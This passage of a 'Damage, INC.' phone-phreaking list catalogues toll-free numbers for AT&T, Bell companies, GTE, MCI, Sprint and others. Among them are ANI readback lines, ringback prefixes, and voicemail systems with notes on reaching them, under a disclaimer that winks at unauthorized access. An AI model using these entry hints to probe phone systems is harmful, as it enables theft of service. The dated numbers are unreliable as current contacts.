+a quarterly basis. This comprehensive list includes many toll free numbers for +telcos, computer companies, carriers, cellular, and other services, etc. Always +remember, you ain't seen nothin' yet! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI) +(613) 320-2232 ANI for Ottawa, Ontario. + +1-800-346-0152 ANI. +1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers + free 1-800 blocking and ANAC. +1-800-487-9240 ANI (doesn't work from 519) +1-800-514-9939 ANI (doesn't work from 416/519) +1-800-532-7486 ANI (Hit option 1, then option 1 again then listen) +1-800-555-1160 ANI (always busy now...) +1-800-555-1170 ANI (always busy now...) +1-800-569-5699 ANI (press 5*#) (now requires a valid authorization code) +1-800-638-2392 Press "2" for ANI info. + +320-XXX-XXXX Ringback for Montreal, Quebec. +507-XXX-XXXX Ringback for Alberta. +590-XXX-XXXX Ringback for 204 NPA. +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for North Bay, Ontario (705) +999-XXX-XXXX Ringback for Ottawa, Ontario (613) +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-225-5288 (1-800-CALL-ATT) +1-800-235-4288 AT&T America. +1-800-242-6005 AT&T Internet Services. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-387-1926 AT&T Personal Info Line. +1-800-387-4268 AT&T Canada. +1-800-423-4343 AT&T Universal Card. +1-800-425-5288 AT&T Products and Services. +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-432-6600 AT&T Customer Information Center (USA) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-522-2157 AT&T Investigations Department. +1-800-525-7955 AT&T Direct Call Cards. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising +1-800-562-6275 AT&T Message Sender (Send an automated message to any number in + the world with your voice. Accepts calling cards & credit cards) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-575-9999 AT&T Canada. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 AT&T Universal Card. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-850-TIES AT&T. Call to setup Easy Reach 800s. +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-967-5363 AT&T Worldnet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-888-288-1233 AT&T Internet Service. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +1-800-221-0994 Ameritech Cellular and Paging. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-475-7449 Ameritech Pay Phone Repair. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-660-3000 Ameritech Small Business Services. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-873-5501 Ameritech's automated billing (RBOC) +1-800-AMERITECH Ameritech. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + Bell: +------------------------------------------------------------------------------- + +310-BELL Bell Canada Customer Services. (toll free) +1-416-555-1313 Bell's local CN/A office for Toronto. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) +1-800-221-4393 Bell Atlantic VMB. +1-800-225-5180 Bell Canada Client Service Center. +1-800-225-5400 Bell Atlantic. +1-800-225-5792 Southwestern Bell Wireless National Services. +1-800-238-8636 Bell Labs. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-253-5011 Bell Mobility Paging. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-256-2355 Bell Nexxia. (after hours Octel VMB) +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-2355 Bell Mobility Quebec. +1-800-267-6574 Bell Canada Datapac Service Center. +1-800-267-7640 Bell Canada's Ident-a-call demonstration line. (Press "*" to + access the VMS) +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-5933 Bell Canada Quickchange Deptartment. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-285-2355 BellSouth. +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-323-6628 Bell Laboratories. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-9612 Bell Technical Services. +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-387-9571 Bell Mobility Radio. +1-800-407-2355 John with Southwest Bell Wireless. +1-800-416-9639 Bell Atlantic Help Desk. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-439-2355 Direct Bell. (wireless communications) +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-446-7835 Northern Telecom (Nortel) (The People Who Make Millenniums) +1-800-447-2688 BC Tel Mobility's EasyTouch Service. +1-800-451-6549 BellSouth Customer Service. +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada Smart Touch Information Line. +1-800-465-2355 Bell Mobility. +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-470-2355 Bell Mobility. +1-800-472-9773 Telus (Payphone Dept.) +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-487-2355 Cellular One Customer Service. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-514-2355 Cellular One's Welcome line. +1-800-521-2673 Bellcore. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-528-2355 Southwestern Bell Yellow Pages Business Office. +1-800-538-4747 Bell Atlantic Mobile. +1-800-541-1229 BellSouth Financial Services. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-556-2355 Bell Atlantic Communications. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 NBTel's NBNet Support line. +1-800-563-0624 Telus Fax. +1-800-565-4737 IslandTel Business Office. +1-800-567-2355 Cellular One. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada (I think it's the main switchboard) +1-800-575-2355 BC Telus Help Center. +1-800-600-2355 Southwestern Bell. +1-800-604-2355 Cellular One. +1-800-611-6500 Bell Mobility Cellular. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-661-2355 BC Tel Mobility Customer Service. +1-800-661-4260 Telus advertising. +1-800-663-1440 BC Tel Call Center/Accounts. +1-800-663-2455 BC Tel Mobility Customer Service Department. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-5801 SaskTel International Head Office. +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-2355 Bell Canada. +1-800-668-4862 Bell Canada Millennium (Coin) +1-800-668-6851 Bell Canada Millennium (Alarm) +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9608 Bell Canada Switch Control Centre. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-722-2300 Nynex President Switchboard. +1-800-724-4443 Bell Sympatico. +1-800-727-2231 Bell Atlantic. +1-800-733-2355 BellSouth Phones. +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-753-0223 BellSouth order line. +1-800-767-2355 BellSouth automated billing services. +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's internet service) +1-800-775-2355 BellSouth Phones. +1-800-782-8353 Pacific Bell (to report any pay phone crimes) +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-830-2355 Bell Atlantic Mobile. +1-800-832-6338 BellSouth Memory Call Service. +1-800-833-7477 Nortel Networks. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only) +1-800-858-9413 BellSouth ISDN order line. +1-800-922-0204 Bell Atlantic Mobile. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-933-2355 Fulfillment plus. (agent of Pacific Bell) +1-800-934-2255 Bell Atlantic. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-957-9999 Bell Canada Long Distance. +1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls) +1-800-CELL-ONE Cellular One. (U.S. only) +1-800-REWARDS Bell Canada Rewards. +1-877-344-3330 BC Tel Mobility. +1-877-499-1260 Bell Canada's Smart Touch Promotion Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-723-4400 Bell Mobility Totalcom. +1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service. +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-217-6540 Bell Mobility Service. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-242-2355 Bell (Spanish) +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-308-5640 Bell Mobility Paging. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-345-2355 Cellular One Dispatch. +1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-455-2355 Southwestern Bell. NIS any longer. +1-888-462-8033 BellSouth COCOT repair. +1-888-522-2355 Cellular One. +1-888-543-2355 BellSouth Internet Business. +1-888-562-2355 Cellular One's Job Hotline. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-681-2355 Cellular One. +1-888-685-2355 BC Tel Multiple Option Messaging. +1-888-730-2355 Bell Atlantic. +1-888-739-2737 (1-888-REWARDS) Bell Canada. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-837-1668 BellSouth Telecom Rental Services. +1-888-867-7587 (1-888-TMS-PLUS) Telus. +1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-905-2284 BC Tel Interactive Business Solutions. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. +1-888-CELLPHONE Cellular One. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Telecom. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4385 GTE Personnel-only question line (800-FON-GTE5) +1-800-366-5665 GTE Express. (Cellular) +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI Worldcom. Accepts calling cards for phone calls. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Global Product Support. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI Customer Service. (U.S. only) +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-637-2255 MCI WorldCom. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2613 MCI Worldcom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-848-4480 MCI WorldCom Network Assistance. (modem) +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-8000 MCI. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI Worldcom Customer Service. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-336-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-366-0707 Sprint Pre-Paid Card Customer Service. +1-800-366-2255 Sprint automated LD calling (U.S. and Canada) +1-800-455-4602 Sprint PCS. +1-800-456-9711 Sprint Canada Customer Service. +1-800-467-7746 Sprint. +1-800-480-4727 (1-800-480-4PCS) Sprint PCS. +1-800-505-MOST Sprint Canada. +1-800-506-8268 Sprint Canada. +1-800-515-6678 (1-800-515-MOST) Sprint Canada. +1-800-522-9320 Sprint Canada. +1-800-540-4516 Sprint Canada. +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-546-6000 SprintNet's In-WATS Service. +1-800-548-8120 Sprint Canada. +1-800-555-2800 Sprint (Spanish) +1-800-570-2255 Sprint Business Service Center. +1-800-571-6678 (1-800-571-MOST) Sprint Canada. +1-800-575-2255 Sprint Canada's Business Sales Office in Halifax. +1-800-581-MOST Sprint Canada. +1-800-597-1195 Sprint Canada. +1-800-597-9765 Sprint Canada. +1-800-666-6999 Sprint Canada. +1-800-674-7000 Sprint. +1-800-680-6678 (1-800-680-MOST) Sprint Canada. +1-800-714-MOST Sprint Canada. +1-800-736-1130 SprintNet data network products and services. +1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only) +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-6678 (1-800-801-MOST) Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-830-MOST Sprint Canada. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily) +1-800-877-4646 Sprint Account/Rewards/Calling Card customer services. +1-800-877-5045 Sprint Service Management Center. +1-800-877-8000 Sprint Operator assisted calls. +1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY) +1-800-994-6678 (1-800-994-MOST) Sprint Canada. +1-800-FON-CARD Sprint's automated calling. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-369-DATA Sprint. +1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online. +1-888-510-3279 Sprint Canada. +1-888-670-3279 Sprint Canada. +1-888-675-3279 Sprint Canada. +1-888-689-3279 Sprint Canada's "The Most" Online. +1-888-710-3279 Sprint Canada's "The Most" Online. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. +1-888-790-3279 Sprint Canada. +1-888-IN-TOUCH Sprint "Stay in touch" Services. + + +------------------------------------------------------------------------------- + US West: +------------------------------------------------------------------------------- + +(303) 896-7683 US West (Denver), automated job line. +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-879-4357 US West (Western U.S.) Employee Locator. +1-800-883-6171 US West Completions and Translations. (U.S. only) + + +------------------------------------------------------------------------------- + Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies: +------------------------------------------------------------------------------- + +1-303-499-7111 Atomic Clock in Colorado. +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-221-2255 American Airlines VMS. +1-800-221-4009 London Telcom. +1-800-222-5161 IBM Program Headquarters. +1-800-225-2255 ATM Communications. Collect, calling & credit card calls. +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5152 Nationwide Messaging. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support. +1-800-225-5265 1-800-COLLECT. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5373 3M Electronic Products Information. +1-800-225-5385 Compaq Computer Corporation. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5664 NEC. +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line. +1-800-233-3382 Novell Education Programs. +1-800-235-4008 Information America's Client Support. +1-800-242-0080 Compaq Corporation. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-255-3700 Nintendo. +1-800-263-0656 NCR. +1-800-263-1121 Canon. +1-800-263-2244 Sanyo On-Site. +1-800-263-3394 Apple Canada. +1-800-264-2255 InComNet National Telephone and Communications. +1-800-265-0977 NCR. +1-800-268-3997 NEC. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-288-2880 OCI. +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-320-3488 Motorola Radio Network Services in San Diego, CA. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-324-1234 CTI Long Distance Customer Service. +1-800-331-9922 General Motors Shareholder's Services. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-6000 VMB (Audix) +1-800-339-6181 Toshiba. +1-800-344-4825 Compaq Canada. +1-800-354-9000 Compaq Customer Services. +1-800-355-6245 ATX Telecommunication Services. (Answering Machine) +1-800-360-2255 Century 21 Realty VMS. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-381-7707 Rogers Cantel Service Barrie. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-4-LUCENT Lucent Technologies. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-418-6245 Blockbusters VMS. +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-2255 (IBM-CALL) IBM Customer Support. +1-800-426-4682 IBM Performance Management and Capacity Planning Services. +1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support. +1-800-426-4968 IBM Customer Service. +1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information. +1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota. +1-800-444-9000 Telecom USA. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-448-2244 (1-800-HITACHI) Hitachi. +1-800-452-9996 Statistics Canada. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-4890 Pager that plays a South Park Song for the greeting. +1-800-455-5958 ITC Telecom. +1-800-456-3333 Skytel National Sales Center. +1-800-457-6245 CSI Compuserve Technical Support. (Need UserId #) +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-467-2355 CenturyTel. +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-477-9692 ATN Information and Customer Service. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-6681 StarTech telco. +1-800-501-6245 Database America's answering machine. +1-800-509-1800 Novell's Customer Response Center. +1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#) +1-800-525-5288 ATN Communications. +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, +1-800-555-1212 Toll Free Directory Assistance/Info. +1-800-555-1313 VMB (Skytel) +1-800-555-1560 Audix VMB. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-3012 Gateway Direct Line. +1-800-555-4000 "Mike's" Skytel Direct Dial VMB. Press "*" to access. +1-800-555-6620 VMB (Meridian Mail) +1-800-555-7665 TelAmerica. +1-800-557-6245 Saloman Smith Barney VMS. +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-567-1616 Compaq. +1-800-569-DELL DELL. +1-800-576-2255 Frontier Communications Customer Service. +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call-Home America. +1-800-595-8480 Rogers@Home. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-627-5609 Conquest Customer Service. +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-639-8359 (1-800-NEXTEL-9) +1-800-647-2355 MinIowa PC Partner. 1-877-727-3375 Internet number. +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (data recovery) +1-800-663-7780 NCR Invoicing Department. +1-800-669-1800 Burger King's VMB. 